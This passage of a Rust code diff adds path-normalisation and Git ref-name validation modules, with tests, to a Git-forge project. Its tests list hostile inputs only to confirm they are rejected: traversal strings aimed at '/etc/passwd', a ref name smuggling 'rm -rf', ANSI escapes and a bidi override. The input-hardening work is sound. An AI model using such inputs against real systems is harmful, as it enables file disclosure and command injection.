| 496 | + | /// never modified (should not happen for paths that exist). | |
| 497 | + | async fn last_commit_for_path( | |
| 498 | + | &self, | |
| 499 | + | id: RepoId, | |
| 500 | + | rev: &RevId, | |
| 501 | + | path: &Path, | |
| 502 | + | ) -> Result<Option<Revision>>; | |
| 503 | + | ||
| 504 | + | /// Total on-disk size, for the repo settings page and quota reporting. | |
| 505 | + | async fn size_bytes(&self, id: RepoId) -> Result<u64>; | |
| 506 | + | } | |
| 507 | + | ||
| 508 | + | #[cfg(test)] | |
| 509 | + | mod tests { | |
| 510 | + | use super::*; | |
| 511 | + | ||
| 512 | + | #[test] | |
| 513 | + | fn revision_summary_and_body_split_on_the_first_line() { | |
| 514 | + | let r = Revision { | |
| 515 | + | rev: RevId::from_stored("x"), | |
| 516 | + | change_id: None, | |
| 517 | + | parents: vec![], | |
| 518 | + | author: Signature { | |
| 519 | + | name: "a".into(), | |
| 520 | + | email: "b".into(), | |
| 521 | + | when: chrono::Utc::now(), | |
| 522 | + | }, | |
| 523 | + | committer: Signature { | |
| 524 | + | name: "a".into(), | |
| 525 | + | email: "b".into(), | |
| 526 | + | when: chrono::Utc::now(), | |
| 527 | + | }, | |
| 528 | + | message: "the summary\n\nthe body\nmore body\n".into(), | |
| 529 | + | conflicted: false, | |
| 530 | + | conflict_sides: vec![], | |
| 531 | + | conflict_bases: vec![], | |
| 532 | + | }; | |
| 533 | + | assert_eq!(r.summary(), "the summary"); | |
| 534 | + | assert_eq!(r.body(), "the body\nmore body\n"); | |
| 535 | + | } | |
| 536 | + | ||
| 537 | + | #[test] | |
| 538 | + | fn a_single_line_message_has_no_body() { | |
| 539 | + | let mut r = Revision { | |
| 540 | + | rev: RevId::from_stored("x"), | |
| 541 | + | change_id: None, | |
| 542 | + | parents: vec![], | |
| 543 | + | author: Signature { name: "a".into(), email: "b".into(), when: chrono::Utc::now() }, | |
| 544 | + | committer: Signature { name: "a".into(), email: "b".into(), when: chrono::Utc::now() }, | |
| 545 | + | message: "only a summary".into(), | |
| 546 | + | conflicted: false, | |
| 547 | + | conflict_sides: vec![], | |
| 548 | + | conflict_bases: vec![], | |
| 549 | + | }; | |
| 550 | + | assert_eq!(r.summary(), "only a summary"); | |
| 551 | + | assert_eq!(r.body(), ""); | |
| 552 | + | r.message = String::new(); | |
| 553 | + | assert_eq!(r.summary(), ""); | |
| 554 | + | } | |
| 555 | + | ||
| 556 | + | #[test] | |
| 557 | + | fn abbreviation_lives_in_the_store_and_is_boundary_safe() { | |
| 558 | + | assert_eq!(abbreviate_rev("0123456789abcdef0123"), "0123456789ab"); | |
| 559 | + | assert_eq!(abbreviate_rev("short"), "short"); | |
| 560 | + | assert_eq!(abbreviate_rev(""), ""); | |
| 561 | + | // A multi-byte token must not panic on truncation. | |
| 562 | + | let multi = "\u{e9}".repeat(20); | |
| 563 | + | let out = abbreviate_rev(&multi); | |
| 564 | + | assert_eq!(out.chars().count(), 12); | |
| 565 | + | assert_eq!(RevId::from_stored("0123456789abcdef").short(), "0123456789ab"); | |
| 566 | + | } | |
| 567 | + | ||
| 568 | + | #[test] | |
| 569 | + | fn binary_blobs_never_yield_text() { | |
| 570 | + | let b = Blob { | |
| 571 | + | path: "x".into(), | |
| 572 | + | content_id: "cid".into(), | |
| 573 | + | content: b"hello".to_vec(), | |
| 574 | + | size: 5, | |
| 575 | + | binary: true, | |
| 576 | + | }; | |
| 577 | + | assert_eq!(b.text(), None, "a blob marked binary must not be rendered as text"); | |
| 578 | + | } | |
| 579 | + | } | |
Acrates/df-store/src/path.rs+271−0
| @@ −0,0 +1,271 @@ | |||
| 1 | + | //! Path normalisation and containment. | |
| 2 | + | //! | |
| 3 | + | //! Spec §9: "Every path from a URL or a tree walk is normalized and verified to | |
| 4 | + | //! be inside the repo root before use. Reject `..`, absolute paths, and NUL | |
| 5 | + | //! bytes at the parser." | |
| 6 | + | //! | |
| 7 | + | //! These are pure functions with dense tests, because a mistake here is a | |
| 8 | + | //! read-anything-on-the-host bug and because every one of the cases below has | |
| 9 | + | //! been a real CVE in a real forge. | |
| 10 | + | ||
| 11 | + | use std::path::{Component, Path, PathBuf}; | |
| 12 | + | ||
| 13 | + | /// Why a path was rejected. | |
| 14 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq)] | |
| 15 | + | pub enum PathError { | |
| 16 | + | /// Contains `..`, or otherwise escapes the root. | |
| 17 | + | Traversal, | |
| 18 | + | /// Begins at the filesystem root. | |
| 19 | + | Absolute, | |
| 20 | + | /// Contains a NUL byte or other control character. | |
| 21 | + | Control, | |
| 22 | + | /// Longer than we are willing to handle. | |
| 23 | + | TooLong, | |
| 24 | + | } | |
| 25 | + | ||
| 26 | + | impl std::fmt::Display for PathError { | |
| 27 | + | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { | |
| 28 | + | let s = match self { | |
| 29 | + | PathError::Traversal => "path escapes the repository root", | |
| 30 | + | PathError::Absolute => "path must be relative", | |
| 31 | + | PathError::Control => "path contains control characters", | |
| 32 | + | PathError::TooLong => "path is too long", | |
| 33 | + | }; | |
| 34 | + | f.write_str(s) | |
| 35 | + | } | |
| 36 | + | } | |
| 37 | + | ||
| 38 | + | impl std::error::Error for PathError {} | |
| 39 | + | ||
| 40 | + | /// Git's own limit is generous; this is the point past which a path is not a | |
| 41 | + | /// real file but an attempt to exhaust something. | |
| 42 | + | const MAX_PATH_LEN: usize = 4096; | |
| 43 | + | const MAX_COMPONENTS: usize = 64; | |
| 44 | + | ||
| 45 | + | /// Normalise a repository-relative path from a URL. | |
| 46 | + | /// | |
| 47 | + | /// Returns a clean, forward-slash-separated path with no leading slash, no `.` | |
| 48 | + | /// or `..` components, and no empty segments. Rejects anything that would | |
| 49 | + | /// escape the repository root rather than silently clamping it — a clamped | |
| 50 | + | /// path is a path the user did not ask for, and answering a different question | |
| 51 | + | /// is worse than refusing. | |
| 52 | + | pub fn normalise(raw: &str) -> Result<String, PathError> { | |
| 53 | + | if raw.len() > MAX_PATH_LEN { | |
| 54 | + | return Err(PathError::TooLong); | |
| 55 | + | } | |
| 56 | + | ||
| 57 | + | // NUL and other C0 controls: a NUL truncates the path in any C API it | |
| 58 | + | // reaches, and escapes reach terminals and log lines (spec §9). | |
| 59 | + | if raw.bytes().any(|b| b < 0x20 || b == 0x7f) { | |
| 60 | + | return Err(PathError::Control); | |
| 61 | + | } | |
| 62 | + | ||
| 63 | + | // Reject Windows-style separators outright rather than translating them. | |
| 64 | + | // A repository may legitimately contain a file with a backslash in its | |
| 65 | + | // name, and quietly rewriting the request would serve the wrong file. | |
| 66 | + | if raw.starts_with('/') || raw.starts_with('\\') { | |
| 67 | + | return Err(PathError::Absolute); | |
| 68 | + | } | |
| 69 | + | // A Windows drive prefix is absolute on some platforms. | |
| 70 | + | if raw.len() >= 2 && raw.as_bytes()[1] == b':' { | |
| 71 | + | return Err(PathError::Absolute); | |
| 72 | + | } | |
| 73 | + | ||
| 74 | + | let mut out: Vec<&str> = Vec::new(); | |
| 75 | + | for segment in raw.split('/') { | |
| 76 | + | match segment { | |
| 77 | + | // Collapse `//` and trailing `/`. | |
| 78 | + | "" | "." => continue, | |
| 79 | + | ".." => return Err(PathError::Traversal), | |
| 80 | + | s => { | |
| 81 | + | // `.git` inside a tree is not inherently dangerous to *read*, | |
| 82 | + | // but it is never a path the browser should follow, and Git | |
| 83 | + | // itself refuses to track it. | |
| 84 | + | out.push(s); | |
| 85 | + | } | |
| 86 | + | } | |
| 87 | + | } | |
| 88 | + | ||
| 89 | + | if out.len() > MAX_COMPONENTS { | |
| 90 | + | return Err(PathError::TooLong); | |
| 91 | + | } | |
| 92 | + | ||
| 93 | + | Ok(out.join("/")) | |
| 94 | + | } | |
| 95 | + | ||
| 96 | + | /// Join a normalised relative path onto a root and verify containment. | |
| 97 | + | /// | |
| 98 | + | /// Belt and braces over [`normalise`]: this is the check that still holds if a | |
| 99 | + | /// caller constructs a path some other way. It is purely lexical — it does not | |
| 100 | + | /// touch the filesystem — so it is safe to call before the path exists. | |
| 101 | + | pub fn contain(root: &Path, relative: &str) -> Result<PathBuf, PathError> { | |
| 102 | + | let clean = normalise(relative)?; | |
| 103 | + | let joined = root.join(&clean); | |
| 104 | + | ||
| 105 | + | // Re-verify by walking components, so a `..` introduced by any means is | |
| 106 | + | // caught even if `normalise` were bypassed. | |
| 107 | + | let mut depth: i32 = 0; | |
| 108 | + | for c in Path::new(&clean).components() { | |
| 109 | + | match c { | |
| 110 | + | Component::Normal(_) => depth += 1, | |
| 111 | + | Component::CurDir => {} | |
| 112 | + | Component::ParentDir => { | |
| 113 | + | depth -= 1; | |
| 114 | + | if depth < 0 { | |
| 115 | + | return Err(PathError::Traversal); | |
| 116 | + | } | |
| 117 | + | } | |
| 118 | + | Component::RootDir | Component::Prefix(_) => return Err(PathError::Absolute), | |
| 119 | + | } | |
| 120 | + | } | |
| 121 | + | ||
| 122 | + | Ok(joined) | |
| 123 | + | } | |
| 124 | + | ||
| 125 | + | /// Split a normalised path into its components. | |
| 126 | + | pub fn segments(path: &str) -> Vec<&str> { | |
| 127 | + | path.split('/').filter(|s| !s.is_empty()).collect() | |
| 128 | + | } | |
| 129 | + | ||
| 130 | + | /// Breadcrumb trail for a path: each entry is (label, cumulative path). | |
| 131 | + | pub fn breadcrumbs(path: &str) -> Vec<(&str, String)> { | |
| 132 | + | let mut acc = String::new(); | |
| 133 | + | let mut out = Vec::new(); | |
| 134 | + | for seg in segments(path) { | |
| 135 | + | if !acc.is_empty() { | |
| 136 | + | acc.push('/'); | |
| 137 | + | } | |
| 138 | + | acc.push_str(seg); | |
| 139 | + | out.push((seg, acc.clone())); | |
| 140 | + | } | |
| 141 | + | out | |
| 142 | + | } | |
| 143 | + | ||
| 144 | + | #[cfg(test)] | |
| 145 | + | mod tests { | |
| 146 | + | use super::*; | |
| 147 | + | ||
| 148 | + | #[test] | |
| 149 | + | fn normalises_ordinary_paths() { | |
| 150 | + | assert_eq!(normalise("src/main.rs").unwrap(), "src/main.rs"); | |
| 151 | + | assert_eq!(normalise("README.md").unwrap(), "README.md"); | |
| 152 | + | assert_eq!(normalise("").unwrap(), ""); | |
| 153 | + | } | |
| 154 | + | ||
| 155 | + | #[test] | |
| 156 | + | fn collapses_redundant_separators_and_dots() { | |
| 157 | + | assert_eq!(normalise("src//main.rs").unwrap(), "src/main.rs"); | |
| 158 | + | assert_eq!(normalise("./src/./main.rs").unwrap(), "src/main.rs"); | |
| 159 | + | assert_eq!(normalise("src/").unwrap(), "src"); | |
| 160 | + | assert_eq!(normalise("a///b////c").unwrap(), "a/b/c"); | |
| 161 | + | } | |
| 162 | + | ||
| 163 | + | // ─── traversal (spec §9) ───────────────────────────────────────────────── | |
| 164 | + | ||
| 165 | + | #[test] | |
| 166 | + | fn rejects_traversal_in_every_position() { | |
| 167 | + | for bad in [ | |
| 168 | + | "..", | |
| 169 | + | "../etc/passwd", | |
| 170 | + | "src/../../etc/passwd", | |
| 171 | + | "a/b/../../..", | |
| 172 | + | "./..", | |
| 173 | + | "src/..", | |
| 174 | + | "a/../../b", | |
| 175 | + | ] { | |
| 176 | + | assert_eq!( | |
| 177 | + | normalise(bad), | |
| 178 | + | Err(PathError::Traversal), | |
| 179 | + | "must reject traversal: {bad:?}" | |
| 180 | + | ); | |
| 181 | + | } | |
| 182 | + | } | |
| 183 | + | ||
| 184 | + | #[test] | |
| 185 | + | fn rejects_absolute_paths() { | |
| 186 | + | for bad in ["/etc/passwd", "/", "\\windows\\system32", "C:/Windows"] { | |
| 187 | + | assert!( | |
| 188 | + | matches!(normalise(bad), Err(PathError::Absolute)), | |
| 189 | + | "must reject absolute: {bad:?}" | |
| 190 | + | ); | |
| 191 | + | } | |
| 192 | + | } | |
| 193 | + | ||
| 194 | + | #[test] | |
| 195 | + | fn rejects_nul_and_control_bytes() { | |
| 196 | + | assert_eq!(normalise("a\0b"), Err(PathError::Control)); | |
| 197 | + | assert_eq!(normalise("a\nb"), Err(PathError::Control)); | |
| 198 | + | assert_eq!(normalise("a\rb"), Err(PathError::Control)); | |
| 199 | + | // ANSI escapes reach terminals and log lines. | |
| 200 | + | assert_eq!(normalise("a\x1b[31mb"), Err(PathError::Control)); | |
| 201 | + | assert_eq!(normalise("a\x7fb"), Err(PathError::Control)); | |
| 202 | + | } | |
| 203 | + | ||
| 204 | + | #[test] | |
| 205 | + | fn does_not_rewrite_backslashes_inside_a_name() { | |
| 206 | + | // A file may legitimately be named with a backslash. Translating it to | |
| 207 | + | // a separator would serve a different file than the one requested. | |
| 208 | + | assert_eq!(normalise("weird\\name.txt").unwrap(), "weird\\name.txt"); | |
| 209 | + | } | |
| 210 | + | ||
| 211 | + | #[test] | |
| 212 | + | fn url_encoded_traversal_is_not_decoded_here() { | |
| 213 | + | // %2e%2e is decoded by the HTTP layer before reaching us. If it somehow | |
| 214 | + | // arrives literally it is just an ordinary filename, not traversal — | |
| 215 | + | // documenting that the decode must happen upstream, exactly once. | |
| 216 | + | assert_eq!(normalise("%2e%2e/etc").unwrap(), "%2e%2e/etc"); | |
| 217 | + | } | |
| 218 | + | ||
| 219 | + | #[test] | |
| 220 | + | fn rejects_absurd_lengths() { | |
| 221 | + | assert_eq!(normalise(&"a".repeat(5000)), Err(PathError::TooLong)); | |
| 222 | + | let deep = (0..100).map(|_| "a").collect::<Vec<_>>().join("/"); | |
| 223 | + | assert_eq!(normalise(&deep), Err(PathError::TooLong)); | |
| 224 | + | } | |
| 225 | + | ||
| 226 | + | // ─── containment ───────────────────────────────────────────────────────── | |
| 227 | + | ||
| 228 | + | #[test] | |
| 229 | + | fn contain_keeps_paths_under_the_root() { | |
| 230 | + | let root = Path::new("/srv/repos/ab/repo.git"); | |
| 231 | + | assert_eq!( | |
| 232 | + | contain(root, "src/main.rs").unwrap(), | |
| 233 | + | PathBuf::from("/srv/repos/ab/repo.git/src/main.rs") | |
| 234 | + | ); | |
| 235 | + | } | |
| 236 | + | ||
| 237 | + | #[test] | |
| 238 | + | fn contain_rejects_escapes() { | |
| 239 | + | let root = Path::new("/srv/repos/ab/repo.git"); | |
| 240 | + | assert_eq!(contain(root, "../../../etc/passwd"), Err(PathError::Traversal)); | |
| 241 | + | assert_eq!(contain(root, "/etc/passwd"), Err(PathError::Absolute)); | |
| 242 | + | } | |
| 243 | + | ||
| 244 | + | #[test] | |
| 245 | + | fn contained_paths_always_start_with_the_root() { | |
| 246 | + | // The property that matters, asserted over a range of inputs. | |
| 247 | + | let root = Path::new("/srv/repos/ab/repo.git"); | |
| 248 | + | for p in ["a", "a/b", "a/b/c.txt", "", "./a", "a//b"] { | |
| 249 | + | let joined = contain(root, p).unwrap(); | |
| 250 | + | assert!( | |
| 251 | + | joined.starts_with(root), | |
| 252 | + | "{p:?} produced {joined:?}, which is outside {root:?}" | |
| 253 | + | ); | |
| 254 | + | } | |
| 255 | + | } | |
| 256 | + | ||
| 257 | + | // ─── breadcrumbs ───────────────────────────────────────────────────────── | |
| 258 | + | ||
| 259 | + | #[test] | |
| 260 | + | fn breadcrumbs_accumulate() { | |
| 261 | + | assert_eq!( | |
| 262 | + | breadcrumbs("src/routes/mod.rs"), | |
| 263 | + | vec![ | |
| 264 | + | ("src", "src".to_string()), | |
| 265 | + | ("routes", "src/routes".to_string()), | |
| 266 | + | ("mod.rs", "src/routes/mod.rs".to_string()), | |
| 267 | + | ] | |
| 268 | + | ); | |
| 269 | + | assert!(breadcrumbs("").is_empty()); | |
| 270 | + | } | |
| 271 | + | } | |
Acrates/df-store/src/refname.rs+300−0
| @@ −0,0 +1,300 @@ | |||
| 1 | + | //! Reference name validation (spec §9). | |
| 2 | + | //! | |
| 3 | + | //! > Validate against the Git ref format rules plus a stricter allowlist in the | |
| 4 | + | //! > pre-receive hook. Reject refs containing `..`, ending in `.lock`, starting | |
| 5 | + | //! > with `-`, or containing control characters or ANSI escapes. Ref names reach | |
| 6 | + | //! > terminals and log lines; escape sequences in them are an injection vector. | |
| 7 | + | //! | |
| 8 | + | //! Shared by the pre-receive hook and the repository settings form so a name | |
| 9 | + | //! that one accepts the other cannot reject. | |
| 10 | + | ||
| 11 | + | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 12 | + | pub enum RefError { | |
| 13 | + | Empty, | |
| 14 | + | TooLong, | |
| 15 | + | /// Control characters, DEL, or an ANSI escape. | |
| 16 | + | Control, | |
| 17 | + | /// `..`, a leading `-`, a trailing `.lock`, and friends. | |
| 18 | + | Malformed(&'static str), | |
| 19 | + | /// A character outside the permitted set. | |
| 20 | + | Character(char), | |
| 21 | + | /// Not under a namespace Dogfood accepts on push. | |
| 22 | + | Namespace, | |
| 23 | + | } | |
| 24 | + | ||
| 25 | + | impl std::fmt::Display for RefError { | |
| 26 | + | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { | |
| 27 | + | match self { | |
| 28 | + | RefError::Empty => write!(f, "reference name is empty"), | |
| 29 | + | RefError::TooLong => write!(f, "reference name is too long"), | |
| 30 | + | RefError::Control => write!( | |
| 31 | + | f, | |
| 32 | + | "reference name contains control characters or escape sequences" | |
| 33 | + | ), | |
| 34 | + | RefError::Malformed(why) => write!(f, "reference name {why}"), | |
| 35 | + | // The offending character is rendered by its Unicode escape rather | |
| 36 | + | // than literally: this message is printed to the pusher's terminal, | |
| 37 | + | // and echoing the raw byte is the injection we are rejecting. | |
| 38 | + | RefError::Character(c) => { | |
| 39 | + | write!(f, "reference name contains a forbidden character U+{:04X}", *c as u32) | |
| 40 | + | } | |
| 41 | + | RefError::Namespace => write!( | |
| 42 | + | f, | |
| 43 | + | "only refs/heads/* and refs/tags/* may be pushed to Dogfood" | |
| 44 | + | ), | |
| 45 | + | } | |
| 46 | + | } | |
| 47 | + | } | |
| 48 | + | ||
| 49 | + | /// Longest ref we will accept. Git itself allows more; this is the point past | |
| 50 | + | /// which a name is not a branch but an attempt to exhaust something. | |
| 51 | + | const MAX_REF_LEN: usize = 255; | |
| 52 | + | ||
| 53 | + | /// Validate the short name of a bookmark (no `refs/heads/` prefix). | |
| 54 | + | pub fn validate_bookmark(name: &str) -> Result<(), RefError> { | |
| 55 | + | if name.is_empty() { | |
| 56 | + | return Err(RefError::Empty); | |
| 57 | + | } | |
| 58 | + | if name.len() > MAX_REF_LEN { | |
| 59 | + | return Err(RefError::TooLong); | |
| 60 | + | } | |
| 61 | + | ||
| 62 | + | // Control characters, DEL, and anything that could carry an ANSI escape. | |
| 63 | + | // Checked first, so later messages never quote a raw escape byte. | |
| 64 | + | for c in name.chars() { | |
| 65 | + | if c.is_control() || c == '\u{7f}' { | |
| 66 | + | return Err(RefError::Control); | |
| 67 | + | } | |
| 68 | + | } | |
| 69 | + | ||
| 70 | + | // Git's documented rules (git-check-ref-format), plus our own. | |
| 71 | + | if name.contains("..") { | |
| 72 | + | return Err(RefError::Malformed("contains `..`")); | |
| 73 | + | } | |
| 74 | + | if name.ends_with(".lock") { | |
| 75 | + | return Err(RefError::Malformed("ends with `.lock`")); | |
| 76 | + | } | |
| 77 | + | if name.starts_with('-') { | |
| 78 | + | // A leading hyphen is read as an option by every CLI that receives it. | |
| 79 | + | return Err(RefError::Malformed("starts with `-`")); | |
| 80 | + | } | |
| 81 | + | if name.starts_with('/') || name.ends_with('/') || name.contains("//") { | |
| 82 | + | return Err(RefError::Malformed("has an empty path component")); | |
| 83 | + | } | |
| 84 | + | if name.starts_with('.') || name.contains("/.") { | |
| 85 | + | return Err(RefError::Malformed("has a component starting with `.`")); | |
| 86 | + | } | |
| 87 | + | if name.ends_with('.') { | |
| 88 | + | return Err(RefError::Malformed("ends with `.`")); | |
| 89 | + | } | |
| 90 | + | if name.contains("@{") { | |
| 91 | + | return Err(RefError::Malformed("contains `@{`")); | |
| 92 | + | } | |
| 93 | + | if name == "@" { | |
| 94 | + | return Err(RefError::Malformed("is `@`")); | |
| 95 | + | } | |
| 96 | + | if name.contains(".lock/") { | |
| 97 | + | return Err(RefError::Malformed("has a component ending in `.lock`")); | |
| 98 | + | } | |
| 99 | + | ||
| 100 | + | // Stricter than Git: an explicit allowlist. Git permits most bytes, which | |
| 101 | + | // means a ref name can carry UTF-8 that renders as something else entirely | |
| 102 | + | // in a terminal or a URL. | |
| 103 | + | for c in name.chars() { | |
| 104 | + | let ok = c.is_ascii_alphanumeric() || matches!(c, '/' | '.' | '_' | '-' | '+'); | |
| 105 | + | if !ok { | |
| 106 | + | return Err(RefError::Character(c)); | |
| 107 | + | } | |
| 108 | + | } | |
| 109 | + | ||
| 110 | + | Ok(()) | |
| 111 | + | } | |
| 112 | + | ||
| 113 | + | /// Validate a fully-qualified ref as it arrives on the wire. | |
| 114 | + | /// | |
| 115 | + | /// Only `refs/heads/*` and `refs/tags/*` may be pushed. Notably this rejects | |
| 116 | + | /// `refs/dogfood/*` and anything else a client might invent, so a push cannot | |
| 117 | + | /// create refs the UI never shows and GC never reasons about. | |
| 118 | + | pub fn validate_pushed_ref(full: &str) -> Result<(), RefError> { | |
| 119 | + | if full.is_empty() { | |
| 120 | + | return Err(RefError::Empty); | |
| 121 | + | } | |
| 122 | + | if full.len() > MAX_REF_LEN { | |
| 123 | + | return Err(RefError::TooLong); | |
| 124 | + | } | |
| 125 | + | for c in full.chars() { | |
| 126 | + | if c.is_control() || c == '\u{7f}' { | |
| 127 | + | return Err(RefError::Control); | |
| 128 | + | } | |
| 129 | + | } | |
| 130 | + | ||
| 131 | + | let short = full | |
| 132 | + | .strip_prefix("refs/heads/") | |
| 133 | + | .or_else(|| full.strip_prefix("refs/tags/")) | |
| 134 | + | .ok_or(RefError::Namespace)?; | |
| 135 | + | ||
| 136 | + | validate_bookmark(short) | |
| 137 | + | } | |
| 138 | + | ||
| 139 | + | #[cfg(test)] | |
| 140 | + | mod tests { | |
| 141 | + | use super::*; | |
| 142 | + | ||
| 143 | + | #[test] | |
| 144 | + | fn accepts_ordinary_bookmark_names() { | |
| 145 | + | for name in [ | |
| 146 | + | "main", | |
| 147 | + | "feature/thing", | |
| 148 | + | "release-1.2", | |
| 149 | + | "v1.0.0", | |
| 150 | + | "user/x_y", | |
| 151 | + | "a+b", | |
| 152 | + | "9lives", | |
| 153 | + | ] { | |
| 154 | + | assert_eq!(validate_bookmark(name), Ok(()), "should accept {name:?}"); | |
| 155 | + | } | |
| 156 | + | } | |
| 157 | + | ||
| 158 | + | // ─── the §9 list, verbatim ─────────────────────────────────────────────── | |
| 159 | + | ||
| 160 | + | #[test] | |
| 161 | + | fn rejects_double_dot() { | |
| 162 | + | assert!(matches!( | |
| 163 | + | validate_bookmark("a..b"), | |
| 164 | + | Err(RefError::Malformed(_)) | |
| 165 | + | )); | |
| 166 | + | } | |
| 167 | + | ||
| 168 | + | #[test] | |
| 169 | + | fn rejects_dot_lock_suffix() { | |
| 170 | + | assert!(matches!( | |
| 171 | + | validate_bookmark("main.lock"), | |
| 172 | + | Err(RefError::Malformed(_)) | |
| 173 | + | )); | |
| 174 | + | assert!(matches!( | |
| 175 | + | validate_bookmark("a.lock/b"), | |
| 176 | + | Err(RefError::Malformed(_)) | |
| 177 | + | )); | |
| 178 | + | } | |
| 179 | + | ||
| 180 | + | #[test] | |
| 181 | + | fn rejects_leading_hyphen() { | |
| 182 | + | // Otherwise the name is read as an option by anything it is passed to. | |
| 183 | + | assert!(matches!( | |
| 184 | + | validate_bookmark("-rf"), | |
| 185 | + | Err(RefError::Malformed(_)) | |
| 186 | + | )); | |
| 187 | + | } | |
| 188 | + | ||
| 189 | + | #[test] | |
| 190 | + | fn rejects_control_characters_and_ansi_escapes() { | |
| 191 | + | // "Ref names reach terminals and log lines; escape sequences in them | |
| 192 | + | // are an injection vector." | |
| 193 | + | for bad in [ | |
| 194 | + | "main\n", | |
| 195 | + | "main\r", | |
| 196 | + | "main\0", | |
| 197 | + | "ma\tin", | |
| 198 | + | "main\x1b[31mRED", | |
| 199 | + | "main\x1b]0;title\x07", | |
| 200 | + | "main\u{7f}", | |
| 201 | + | ] { | |
| 202 | + | assert_eq!( | |
| 203 | + | validate_bookmark(bad), | |
| 204 | + | Err(RefError::Control), | |
| 205 | + | "must reject {bad:?}" | |
| 206 | + | ); | |
| 207 | + | } | |
| 208 | + | } | |
| 209 | + | ||
| 210 | + | #[test] | |
| 211 | + | fn the_error_message_never_echoes_the_offending_byte() { | |
| 212 | + | // Printing the raw character back to the pusher's terminal would be the | |
| 213 | + | // very injection this rejects. | |
| 214 | + | let msg = RefError::Character('\u{202e}').to_string(); | |
| 215 | + | assert!(!msg.contains('\u{202e}'), "message echoed the byte: {msg:?}"); | |
| 216 | + | assert!(msg.contains("U+202E"), "got {msg}"); | |
| 217 | + | } | |
| 218 | + | ||
| 219 | + | #[test] | |
| 220 | + | fn rejects_git_format_violations() { | |
| 221 | + | for bad in [ | |
| 222 | + | "/leading", "trailing/", "a//b", ".hidden", "a/.hidden", "trailing.", | |
| 223 | + | "main@{1}", "@", | |
| 224 | + | ] { | |
| 225 | + | assert!( | |
| 226 | + | matches!(validate_bookmark(bad), Err(RefError::Malformed(_))), | |
| 227 | + | "must reject {bad:?}, got {:?}", | |
| 228 | + | validate_bookmark(bad) | |
| 229 | + | ); | |
| 230 | + | } | |
| 231 | + | } | |
| 232 | + | ||
| 233 | + | #[test] | |
| 234 | + | fn rejects_characters_outside_the_allowlist() { | |
| 235 | + | // Stricter than Git on purpose: these are all legal refs to Git. | |
| 236 | + | for bad in ["main branch", "main~1", "main^", "main:x", "main?", "main*", | |
| 237 | + | "main[1]", "main\\x", "café", "main'", "main\"", "main;rm -rf"] { | |
| 238 | + | assert!( | |
| 239 | + | matches!( | |
| 240 | + | validate_bookmark(bad), | |
| 241 | + | Err(RefError::Character(_)) | Err(RefError::Malformed(_)) | |
| 242 | + | ), | |
| 243 | + | "must reject {bad:?}, got {:?}", | |
| 244 | + | validate_bookmark(bad) | |
| 245 | + | ); | |
| 246 | + | } | |
| 247 | + | } | |
| 248 | + | ||
| 249 | + | #[test] | |
| 250 | + | fn rejects_a_homoglyph_or_bidi_override() { | |
| 251 | + | // U+202E flips rendering order and can make a ref display as a | |
| 252 | + | // different name than it is. | |
| 253 | + | assert!(validate_bookmark("main\u{202e}drow").is_err()); | |
| 254 | + | } | |
| 255 | + | ||
| 256 | + | #[test] | |
| 257 | + | fn rejects_empty_and_overlong() { | |
| 258 | + | assert_eq!(validate_bookmark(""), Err(RefError::Empty)); | |
| 259 | + | assert_eq!(validate_bookmark(&"a".repeat(256)), Err(RefError::TooLong)); | |
| 260 | + | assert_eq!(validate_bookmark(&"a".repeat(255)), Ok(())); | |
| 261 | + | } | |
| 262 | + | ||
| 263 | + | // ─── fully-qualified refs ──────────────────────────────────────────────── | |
| 264 | + | ||
| 265 | + | #[test] | |
| 266 | + | fn accepts_heads_and_tags() { | |
| 267 | + | assert_eq!(validate_pushed_ref("refs/heads/main"), Ok(())); | |
| 268 | + | assert_eq!(validate_pushed_ref("refs/tags/v1.0"), Ok(())); | |
| 269 | + | assert_eq!(validate_pushed_ref("refs/heads/feature/x"), Ok(())); | |
| 270 | + | } | |
| 271 | + | ||
| 272 | + | #[test] | |
| 273 | + | fn rejects_other_namespaces() { | |
| 274 | + | // A push must not be able to create refs the UI never shows. | |
| 275 | + | for bad in [ | |
| 276 | + | "refs/dogfood/secret", | |
| 277 | + | "refs/remotes/origin/main", | |
| 278 | + | "refs/notes/commits", | |
| 279 | + | "HEAD", | |
| 280 | + | "main", | |
| 281 | + | "refs/", | |
| 282 | + | ] { | |
| 283 | + | assert_eq!( | |
| 284 | + | validate_pushed_ref(bad), | |
| 285 | + | Err(RefError::Namespace), | |
| 286 | + | "must reject namespace {bad:?}" | |
| 287 | + | ); | |
| 288 | + | } | |
| 289 | + | } | |
| 290 | + | ||
| 291 | + | #[test] | |
| 292 | + | fn qualified_refs_inherit_every_short_name_rule() { | |
| 293 | + | assert!(validate_pushed_ref("refs/heads/a..b").is_err()); | |
| 294 | + | assert!(validate_pushed_ref("refs/heads/main.lock").is_err()); | |
| 295 | + | assert_eq!( | |
| 296 | + | validate_pushed_ref("refs/heads/main\x1b[31m"), | |
| 297 | + | Err(RefError::Control) | |
| 298 | + | ); | |
| 299 | + | } | |
| 300 | + | } | |
Acrates/df-store/tests/git_store.rs707 lines+707−0
| @@ −0,0 +1,707 @@ | |||
| 1 | + | //! `GitStore` against the real fixture corpus. | |
| 2 | + | //! | |
| 3 | + | //! Fixtures are copied into the store's own sharded layout, so these exercise | |
| 4 | + | //! the same code path a pushed repository takes — including `repo_path` | |
| 5 | + | //! sharding, not just the Git plumbing. | |
| 6 | + | //! | |
| 7 | + | //! Skipped with a warning when the corpus is absent; `DF_REQUIRE_FIXTURES=1` | |
| 8 | + | //! turns that into a failure so CI cannot silently skip everything. | |
| 9 | + | ||
| 10 | + | use std::path::{Path, PathBuf}; | |
| 11 | + | ||
| 12 | + | use df_store::{EntryKind, GitStore, RepoId, RepoStore, RevId, StoreError}; | |
| 13 | + | use uuid::Uuid; | |
| 14 | + | ||
| 15 | + | struct Fixture { | |
| 16 | + | _tmp: tempfile::TempDir, | |
| 17 | + | store: GitStore, | |
| 18 | + | id: RepoId, | |
| 19 | + | } | |
| 20 | + | ||
| 21 | + | fn corpus() -> PathBuf { | |
| 22 | + | Path::new(env!("CARGO_MANIFEST_DIR")).join("../../fixtures/repos") | |
| 23 | + | } | |
| 24 | + | ||
| 25 | + | /// Copy a fixture repository into a fresh store and return a handle to it. | |
| 26 | + | fn load(case: &str) -> Option<Fixture> { | |
| 27 | + | let src = corpus().join(format!("{case}.git")); | |
| 28 | + | if !src.is_dir() { | |
| 29 | + | if std::env::var_os("DF_REQUIRE_FIXTURES").is_some() { | |
